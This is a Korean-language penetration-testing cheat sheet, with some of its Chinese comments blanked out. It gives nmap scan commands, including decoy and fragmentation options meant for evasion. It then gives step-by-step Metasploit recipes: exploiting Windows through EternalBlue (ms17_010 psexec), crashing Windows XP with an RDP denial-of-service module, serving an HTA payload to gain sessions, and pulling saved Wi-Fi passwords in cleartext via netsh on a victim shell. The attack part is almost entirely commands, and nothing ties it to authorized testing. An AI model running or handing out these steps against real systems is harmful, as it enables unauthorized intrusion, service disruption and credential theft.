침투 테스트

정보 수집

nmap --sP -iL abin.txt （ abin.txt  ip        ，-sP      ）
nmap -A 120.55.226.24 （        ，    ，         ）
nmap -sS 120.55.226.24 （     ）
nmap -sT 120.55.226.24 （     ）
nmap -sU 120.55.226.24 （udp  ）
nmap -D 1.1.1.1 192.168.1.102 （     1.1.1.1）
nmap --mtu 8 192.168.1.102 （          ）

nmap ip -v 10.1.2.1/24 (      10.1.2.1 ~ 10.1.2.255     )
       ,      nmap,     xerosploit
xerosploit  :
$ git clone https://github.com/LionSec/xerosploit.git
   ， sudo        install.py：
$ sudo python install.py

빈틈 이용 도구 msf
msf 열기

       msfconsole
  msf   /usr/share/metasploit-framework，    ./msfconsole

업데이트

kali     apt update,apt install metasploit-framework

------------------------------------------------------------------------------------------
1 How to exploit Windows Vista only by victim's using Kali Linux(영원의 푸른 구멍)
(smb_ms17_010) # msfconsole #msf> use auxiliary/scanner/smb/smb_ms17_010(이 모듈을 이용하여 상대방 호스트에 빈틈이 있는지 확인) #msf> set RHOSTS(remote ip) (상대방 ip 설정) #msf>run(스캔 시작) #msf>use exploit/windows/smb/ms17010_psexec (스캔에 성공하면 이 이용 모듈을 사용합니다) #msf > set RHOSTS (remote ip) (상대방 ip 설정) #msf > exploit (침투 시작)
------------------------------------------------------------------------------------------
2. How to crash windows xp(blue screen) with metasploit using kali linux(winxp 블루스크린 만드는 법)

# msfconsole
#msf> use auxiliary/dos/windows/rdp/ms12_020_maxchannelids (    )
#msf> set rhost (remote ip)
#msf> exploit  

------------------------------------------------------------------------------------------
3. How to exploit windows with HTA serverusing kali linux

#msfconsole
#msf> use windows/misc/hta_server/ (     )
#msf> set srvhost (local ip) (     ip,      ip)
#msf> set uripath / (       )
#msf> exploit (      )
         .
#msf> sessions (         ,   payload  ,          )
#msf> sessions -i num (        )

------------------------------------------------------------------------------------------
5 How to get Windows Wi-Fi saved passwords using Metasploit and Kali Linux(상대방의 와이파이 비밀번호를 가져오는 방법)

  :   windows shell
#msf> shell
cmd> netsh wlan show profile (      wifi)
cmd> netsh wlan show profile [wifi_name] key=clear (     wifi   )

------------------------------------------------------------------------------------------